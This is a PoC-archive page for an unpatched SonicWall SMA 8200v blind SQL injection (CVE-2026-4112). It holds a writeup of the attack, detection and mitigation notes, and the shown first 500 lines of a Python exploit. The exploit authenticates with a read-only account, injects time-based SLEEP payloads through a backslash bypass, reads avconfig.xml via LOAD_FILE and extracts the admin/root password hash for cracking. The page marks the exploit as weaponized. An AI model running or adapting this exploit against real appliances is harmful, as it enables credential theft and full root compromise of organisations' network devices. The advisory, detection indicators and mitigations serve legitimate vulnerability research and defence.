PoC Archive PoC Archive
High CVE-2026-4112 (SonicWall Advisory SNWLID-2026-0003) unpatched

SonicWall SMA 8200v Cross-Parameter Blind SQL Injection to Root (CVE-2026-4112)

by Hann1bl3L3ct3r · 2026-07-05

CVSS 7.2/10
Severity
High
CVE
CVE-2026-4112 (SonicWall Advisory SNWLID-2026-0003)
Category
network
Affected product
SonicWall SMA 8200v management console (Jetty + Struts 2, port 8443)
Affected versions
Firmware 12.5.0-02283 confirmed; likely all 12.x
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-04
Author / ResearcherHann1bl3L3ct3r
CVE / AdvisoryCVE-2026-4112 (SonicWall Advisory SNWLID-2026-0003)
Categorynetwork
SeverityHigh
CVSS Score7.2 (High) — AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H (as stated in source)
StatusWeaponized
Tagssonicwall, sma, sql-injection, blind-sqli, privilege-escalation, load-file, hash-extraction, appliance
RelatedN/A

Affected Target

FieldValue
Software / SystemSonicWall SMA 8200v management console (Jetty + Struts 2, port 8443)
Versions AffectedFirmware 12.5.0-02283 confirmed; likely all 12.x
Language / PlatformPython 3 PoC against a Java (Struts 2) web management console
Authentication RequiredYes (any valid management console credential, including read-only accounts)
Network Access RequiredYes

Summary

The SonicWall SMA 8200v management console contains a post-authentication blind SQL injection in the /activeUsers.action endpoint, reachable by any authenticated user regardless of role — including a read-only monitoring account. The application’s safeParam() sanitizer escapes quotes but not backslashes, so a trailing backslash in the realmFilter parameter escapes the closing quote the application appends, letting the adjacent communityFilter parameter inject arbitrary SQL across the string-literal boundary. Because the backing MariaDB account (DbAdmin) holds the FILE privilege and LOAD_FILE() reads are not blocked by secure_file_priv=NULL, the injection is used to blind-extract the appliance’s avconfig.xml configuration file character-by-character via time-based (SLEEP) conditions, recovering the primary administrator’s SHA-512 crypt password hash. Since SonicWall uses the same credential for both the console admin and the underlying OS root account, cracking this hash yields full root access to the appliance — turning a low-privilege read-only login into complete device takeover.


Vulnerability Details

Root Cause

com.aventail.mgmt.sql.Sql.safeParam() escapes single/double quotes by doubling them but fails to escape backslash characters; MariaDB’s default backslash-escape behavior lets a trailing \ in one parameter consume the application-appended closing quote, extending the SQL string literal into an adjacent, attacker-controlled parameter (communityFilter).

Attack Vector

  1. Authenticate to the management console (/console.action/j_security_check) with any valid credential, including a read-only account.
  2. Send POST /activeUsers.action with realmFilter=test\ and communityFilter=)) OR (SELECT IF(<condition>,SLEEP(N),0))-- x to confirm time-based blind SQL injection.
  3. Use LOAD_FILE() (available via the overprivileged DbAdmin MariaDB user) to read /usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml.
  4. Use LOCATE/SUBSTRING/SUBSTRING_INDEX SQL string functions inside the blind condition to anchor on the consoleMode section and locate the admin <password> element.
  5. Binary-search extract the SHA-512 crypt hash character-by-character (~686 requests for a 98-character hash) and crack it offline with hashcat/John the Ripper to recover the shared admin/root password.

Impact

Any authenticated management-console user, including a read-only account, can escalate to the primary administrator’s credential and, because that credential is shared with the OS root account, obtain full root-level compromise of the appliance (console, SSH, and serial access).


Environment / Lab Setup

Target:   SonicWall SMA 8200v virtual appliance, firmware 12.5.0-02283 (management console on TCP/8443)
Attacker: Python 3 (requests) to run sma_admin_hash_poc.py; hashcat or John the Ripper for offline hash cracking

Proof of Concept

PoC Script

See sma_admin_hash_poc.py in this folder.

1
2
3
4
5
6
7
python3 sma_admin_hash_poc.py \
  -t 10.10.185.35 \
  --user readonly \
  --password <readonly_password> \
  --realm "Local Authentication" \
  -o admin.hash \
  -v

The script authenticates with the supplied (even read-only) credential, verifies the cross-parameter SQL injection and LOAD_FILE() readability of avconfig.xml via timing checks, then performs a binary-search blind extraction of the primary administrator’s SHA-512 crypt hash and writes it to admin.hash in hashcat-ready format.


Detection & Indicators of Compromise

Signs of compromise:

  • High-frequency POST /activeUsers.action requests from a single session with consistently elevated response times (SLEEP-based timing pattern)
  • realmFilter values containing a trailing backslash or communityFilter values containing SQL keywords (SELECT, SLEEP, UNION, --)
  • Read-only accounts generating request volumes and patterns inconsistent with normal monitoring/dashboard usage

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — monitor SonicWall PSIRT advisory SNWLID-2026-0003 for an official fix and apply it; until then, apply the interim mitigations below
Interim mitigationRevoke the FILE privilege from the DbAdmin MariaDB account, restrict avconfig.xml permissions (e.g. mode 600, owner mgmt-server:mgmt-server), set NO_BACKSLASH_ESCAPES in MariaDB, and decouple the console admin password from the OS root password

References


Notes

Mirrored from https://github.com/Hann1bl3L3ct3r/CVE-2026-4112 on 2026-07-05.

sma_admin_hash_poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
#!/usr/bin/env python3
"""
SonicWall SMA 8200v - Admin Hash Extraction via SQL Injection + LOAD_FILE
=========================================================================
CVE: TBD (Cross-Parameter SQL Injection via safeParam() Backslash Bypass)
Affected: SMA 8200v firmware 12.5.0-02283 (and likely other 12.x versions)

DESCRIPTION:
  Extracts the management console administrator's SHA-512 password hash
  from avconfig.xml using a post-authentication blind SQL injection in the
  admin console's activeUsers.action endpoint (port 8443).

  The admin hash stored in avconfig.xml is the same credential used for:
    - Management console login (port 8443)
    - Root OS login (SSH, serial console)
  Cracking this hash provides full appliance compromise.

  ATTACK CHAIN:
    1. Authenticate to admin console (port 8443, j_security_check)
    2. Cross-parameter blind SQLi (realmFilter backslash + communityFilter)
    3. LOAD_FILE() reads avconfig.xml (DbAdmin has FILE privilege,
       secure_file_priv is unrestricted, file is world-readable)
    4. SQL LOCATE() targets the admin <password> element (after
       <consoleMode> anchor) without hardcoded offsets
    5. Binary search extracts hash char-by-char (7 requests/char)
    6. Output in hashcat-compatible format ($6$ = mode 1800)

  TIMING:
    ~98 chars * ~7 requests/char * ~0.5s/request = ~5-6 minutes

  ROOT CAUSE:
    safeParam() in com.aventail.mgmt.sql.Sql escapes single-quotes and
    double-quotes but NOT backslashes, enabling cross-parameter injection.

AUTHORIZATION:
  For authorized penetration testing engagements only.

USAGE:
  # Extract admin hash and display hashcat command:
  python3 sma_admin_hash_poc.py -t <IP> -P <password>

  # Extract and write hashcat-ready file:
  python3 sma_admin_hash_poc.py -t <IP> -P <password> -o admin.hash

  # Extract any user hash from avconfig.xml by anchor keyword:
  python3 sma_admin_hash_poc.py -t <IP> -P <password> --anchor userName --anchor-value anthony.cihan

  # Verbose mode with timing stats:
  python3 sma_admin_hash_poc.py -t <IP> -P <password> -v
"""

import argparse
import os
import re
import subprocess
import sys
import time
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

try:
    import requests
except ImportError:
    print("[!] 'requests' library required: pip3 install requests")
    sys.exit(1)


# ============================================================================
# CONSTANTS
# ============================================================================

CONSOLE_PORT = 8443
ACTION_URL = "/activeUsers.action"
LOGIN_URL = "/console.action"
AUTH_URL = "/j_security_check"

# Target file path on appliance
AVCONFIG_PATH = "/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml"

# Time-based blind thresholds
SLEEP_DURATION = 0.3       # Seconds per SLEEP call
TRUE_THRESHOLD = 1.5       # Response time (s) above which = TRUE
FALSE_THRESHOLD = 0.5      # Response time (s) below which = FALSE
REQUEST_TIMEOUT = 30       # Max wait for HTTP response

# SHA-512 crypt hash properties
SHA512_PREFIX = "$6$"
SHA512_MAX_LEN = 120       # Max possible length including prefix, salt, and hash


def _update_timing(sleep_dur, true_thresh):
    """Update global timing parameters."""
    global SLEEP_DURATION, TRUE_THRESHOLD
    SLEEP_DURATION = sleep_dur
    TRUE_THRESHOLD = true_thresh


# ============================================================================
# BANNER
# ============================================================================

def banner():
    print(r"""
  +================================================================+
  |  SonicWall SMA 8200v - Admin Hash Extraction PoC               |
  |  Firmware: 12.5.0-02283 (and likely other 12.x)                |
  |  Chain: Auth -> SQLi -> LOAD_FILE(avconfig.xml) -> Hash        |
  |  Impact: Admin hash = Root OS password (full compromise)        |
  +================================================================+
    """)


# ============================================================================
# HELPERS
# ============================================================================

def to_hex(s):
    """Convert string to MySQL hex literal (0x...)."""
    return "0x" + s.encode("utf-8").hex()


def to_char_concat(s):
    """Convert string to CHAR(n,n,n,...) for SQL without quotes."""
    return "CHAR(" + ",".join(str(ord(c)) for c in s) + ")"


# ============================================================================
# AUTHENTICATION
# ============================================================================

def authenticate(target, port, username, password, realm="", verbose=False):
    """
    Authenticate to the SMA admin console on port 8443.

    Flow:
    1. GET /console.action -> extract CSRF token from login form
    2. POST /j_security_check with csrfToken, j_username, j_password, realmId
    3. Follow redirect to /console.action to establish session
    4. Return session with valid JSESSIONID cookie

    Auth realms:
      ""              -> "Management Console" (primary admin, default)
      "AMCAuthRealm"  -> "Local Authentication" (secondary admins: readonly, etc.)
    """
    base_url = f"https://{target}:{port}"
    session = requests.Session()
    session.verify = False

    # Step 1: Get login page and extract CSRF token
    if verbose:
        print(f"[*] Fetching login page: {base_url}{LOGIN_URL}")

    try:
        resp = session.get(f"{base_url}{LOGIN_URL}", timeout=15)
    except requests.exceptions.ConnectionError as e:
        print(f"[!] Cannot connect to {base_url}: {e}")
        return None, None

    csrf_match = re.search(r'name="csrfToken"\s+value="([^"]+)"', resp.text)
    if not csrf_match:
        csrf_match = re.search(
            r'csrfToken["\s]*(?:value=|:)["\s]*([A-Z0-9]+)', resp.text
        )

    if not csrf_match:
        print("[!] Could not extract CSRF token from login page")
        if verbose:
            print(f"    Response snippet: {resp.text[:500]}")
        return None, None

    csrf_token = csrf_match.group(1)
    if verbose:
        print(f"[*] CSRF token: {csrf_token}")

    # Step 2: POST authentication (with realmId for non-default realms)
    auth_data = {
        "csrfToken": csrf_token,
        "j_username": username,
        "j_password": password,
        "realmId": realm,
    }

    if verbose and realm:
        print(f"[*] Auth realm: {realm}")

    resp = session.post(
        f"{base_url}{AUTH_URL}",
        data=auth_data,
        allow_redirects=True,
        timeout=15,
    )

    # Step 3: Verify authentication succeeded
    if resp.status_code == 200 and "console.action" in resp.url:
        jsessionid = session.cookies.get("JSESSIONID", "unknown")
        if verbose:
            print(f"[+] Authenticated. JSESSIONID: {jsessionid[:30]}...")
        return session, base_url
    elif "j_security_check" in resp.url or resp.status_code == 401:
        print("[!] Authentication failed. Check credentials.")
        return None, None
    else:
        if verbose:
            print(
                f"[?] Unexpected auth response: HTTP {resp.status_code} -> {resp.url}"
            )
        check = session.get(f"{base_url}{LOGIN_URL}", timeout=10)
        if check.status_code == 200 and "activeUsers" in check.text:
            return session, base_url
        return None, None


# ============================================================================
# CROSS-PARAMETER BLIND SQL INJECTION
# ============================================================================

def sqli_request(session, base_url, sql_expression, sleep_time=SLEEP_DURATION,
                 verbose=False):
    """
    Execute a time-based blind SQL injection via the cross-parameter technique.

    Injection anatomy:
      realmFilter = test\\
        -> In SQL: rt.name='test\\')  [backslash escapes the closing quote]
        -> String extends through: ') AND (ct.name='
        -> String value becomes: "test') AND (ct.name="

      communityFilter = )) OR (SELECT IF(<cond>, SLEEP(N), 0))-- x
        -> After string closes, )) closes the WHERE parens
        -> OR (SELECT IF(...)) wraps in scalar subquery so SLEEP
           executes exactly ONCE regardless of row count
        -> -- x comments out remaining SQL

    Returns:
      True  - condition is TRUE  (response delayed >= TRUE_THRESHOLD)
      False - condition is FALSE (response fast < FALSE_THRESHOLD)
      None  - indeterminate (response time between thresholds)
    """
    # Scalar subquery ensures SLEEP executes once, not per-row
    payload = f")) OR (SELECT IF({sql_expression},SLEEP({sleep_time}),0))-- x"

    form_data = {
        "realmFilter": "test\\",
        "communityFilter": payload,
        "userNameFilter": "",
        "zoneFilter": "",
        "platformFilter": "",
        "agentFilter": "",
        "agentVersionFilter": "",
        "sessionType": "activeSessions",
        "timePeriod": "0",
        "pageSize": "25",
        "command": "filter",
    }

    url = f"{base_url}{ACTION_URL}"

    start = time.time()
    try:
        resp = session.post(url, data=form_data, timeout=REQUEST_TIMEOUT)
        elapsed = time.time() - start
    except requests.exceptions.Timeout:
        elapsed = REQUEST_TIMEOUT
        if verbose:
            print(f"    [timeout after {elapsed:.1f}s]")
        return True
    except requests.exceptions.ConnectionError:
        return None

    if verbose:
        print(f"    Response: HTTP {resp.status_code}, {elapsed:.2f}s")

    if elapsed >= TRUE_THRESHOLD:
        return True
    elif elapsed <= FALSE_THRESHOLD:
        return False
    else:
        return None


def extract_char_binary_search(session, base_url, sql_value_expr, position,
                               verbose=False):
    """
    Extract a single character using binary search over ASCII range.
    ORD(SUBSTRING(expr, pos, 1)) comparisons, 7 requests max per char.
    """
    low, high = 0, 127

    while low < high:
        mid = (low + high) // 2
        condition = f"ORD(SUBSTRING(({sql_value_expr}),{position},1))>{mid}"

        result = sqli_request(session, base_url, condition, verbose=verbose)

        if result is True:
            low = mid + 1
        elif result is False:
            high = mid
        else:
            # Indeterminate - retry with longer sleep
            result2 = sqli_request(
                session, base_url, condition,
                sleep_time=SLEEP_DURATION * 2, verbose=verbose
            )
            if result2 is True:
                low = mid + 1
            elif result2 is False:
                high = mid
            else:
                return None

    if low == 0:
        return None
    return chr(low)


def extract_string(session, base_url, sql_value_expr, max_length=100,
                   verbose=False, label="data"):
    """
    Extract a string value character by character via blind SQLi.
    Returns the extracted string.
    """
    # Non-NULL check
    null_check = f"({sql_value_expr}) IS NOT NULL"
    result = sqli_request(session, base_url, null_check, verbose=verbose)
    if result is not True:
        print(f"    [-] Expression returned NULL or check failed")
        return None

    # Length > 0 check
    length_expr = f"LENGTH(({sql_value_expr}))>0"
    result = sqli_request(session, base_url, length_expr, verbose=verbose)
    if result is not True:
        print(f"    [-] Expression returned empty string")
        return ""

    extracted = []
    print(f"    Extracting {label}: ", end="", flush=True)

    for pos in range(1, max_length + 1):
        char = extract_char_binary_search(
            session, base_url, sql_value_expr, pos, verbose=verbose
        )

        if char is None:
            break

        extracted.append(char)
        print(char, end="", flush=True)

        # Early termination: if we hit </password> tag start
        if len(extracted) >= 4 and "".join(extracted[-1:]) == "<":
            # Check if next few chars form </
            peek = extract_char_binary_search(
                session, base_url, sql_value_expr, pos + 1, verbose=verbose
            )
            if peek == "/":
                extracted.pop()  # Remove the '<'
                break

    print()
    return "".join(extracted)


# ============================================================================
# ADMIN HASH EXTRACTION
# ============================================================================

def build_admin_hash_sql(avconfig_path, anchor="consoleMode",
                         anchor_value=None):
    """
    Build SQL expression to extract the admin password hash from avconfig.xml.

    Strategy:
      1. LOAD_FILE(avconfig.xml) reads the full config
      2. LOCATE('consoleMode', file) finds the admin section anchor
      3. LOCATE('<password>', file, anchor_pos) finds the admin <password> tag
      4. SUBSTRING from <password> tag + 10 chars (tag length) extracts hash
      5. SUBSTRING_INDEX(..., '<', 1) trims at the closing </password> tag

    This approach is position-independent and works regardless of config changes
    above the admin section.
    """
    hex_path = to_hex(avconfig_path)

    # Build anchor search
    anchor_hex = to_hex(anchor)
    password_tag_hex = to_hex("<password>")
    password_tag_len = 10  # len("<password>")

    # SQL expression:
    # SUBSTRING_INDEX(
    #   SUBSTRING(
    #     LOAD_FILE(path),
    #     LOCATE('<password>', LOAD_FILE(path),
    #       LOCATE('consoleMode', LOAD_FILE(path))
    #     ) + 10,
    #     200
    #   ),
    #   '<',
    #   1
    # )
    #
    # This extracts the content between <password> and </password> for the
    # admin entry (the one after consoleMode in the XML).

    sql = (
        f"SUBSTRING_INDEX("
        f"SUBSTRING("
        f"LOAD_FILE({hex_path}),"
        f"LOCATE({password_tag_hex},LOAD_FILE({hex_path}),"
        f"LOCATE({anchor_hex},LOAD_FILE({hex_path})))"
        f"+{password_tag_len},"
        f"{SHA512_MAX_LEN}"
        f"),"
        f"CHAR(60),"  # '<' character - trims at </password>
        f"1)"
    )

    return sql


def build_custom_anchor_sql(avconfig_path, anchor_tag, anchor_value):
    """
    Build SQL to extract a password hash near a custom anchor.

    For example, to extract the VPN user 'anthony.cihan' hash:
      anchor_tag = 'userName'
      anchor_value = 'anthony.cihan'

    Searches for <anchor_tag>anchor_value</anchor_tag> then finds the
    nearest <password> tag after it.
    """
    hex_path = to_hex(avconfig_path)
    anchor_str = f"{anchor_value}</{anchor_tag}>"
    anchor_hex = to_hex(anchor_str)
    password_tag_hex = to_hex("<password>")
    password_tag_len = 10

    sql = (
        f"SUBSTRING_INDEX("
        f"SUBSTRING("
        f"LOAD_FILE({hex_path}),"
        f"LOCATE({password_tag_hex},LOAD_FILE({hex_path}),"
        f"LOCATE({anchor_hex},LOAD_FILE({hex_path})))"
        f"+{password_tag_len},"
        f"{SHA512_MAX_LEN}"
        f"),"
        f"CHAR(60),"
        f"1)"
    )

    return sql


def verify_sqli(session, base_url, verbose=False):
    """Verify the SQL injection works by testing unconditional SLEEP."""
    print("[*] Verifying SQL injection...")
    start = time.time()
    result = sqli_request(session, base_url, "1=1", verbose=verbose)
    elapsed = time.time() - start

    if result is True:
        print(f"[+] SQLi CONFIRMED - IF(1=1,SLEEP) triggered ({elapsed:.1f}s)")
        return True
    else:
        print(f"[-] SQLi verification failed (response: {elapsed:.1f}s)")
        return False


def verify_file_read(session, base_url, filepath, verbose=False):
    """Verify LOAD_FILE can read the target file."""
    hex_path = to_hex(filepath)
    condition = f"LOAD_FILE({hex_path}) IS NOT NULL"
    result = sqli_request(session, base_url, condition, verbose=verbose)

    if result is True:
        print(f"[+] LOAD_FILE({filepath}) - readable")
        return True
    else:
        print(f"[-] LOAD_FILE({filepath}) - NULL (cannot read)")
        return False


def verify_admin_hash_exists(session, base_url, avconfig_path, verbose=False):
    """Verify the admin hash location can be found in avconfig.xml."""
    hex_path = to_hex(avconfig_path)
    anchor_hex = to_hex("consoleMode")
    password_hex = to_hex("<password>$6$")

    # Check that consoleMode exists in the file
    condition = (
        f"LOCATE({anchor_hex},LOAD_FILE({hex_path}))>0"
    )
    result = sqli_request(session, base_url, condition, verbose=verbose)
    if result is not True:
        print("[-] 'consoleMode' anchor not found in avconfig.xml")
        return False
    print("[+] consoleMode anchor found in avconfig.xml")
Showing 500 of 837 lines View full file on GitHub →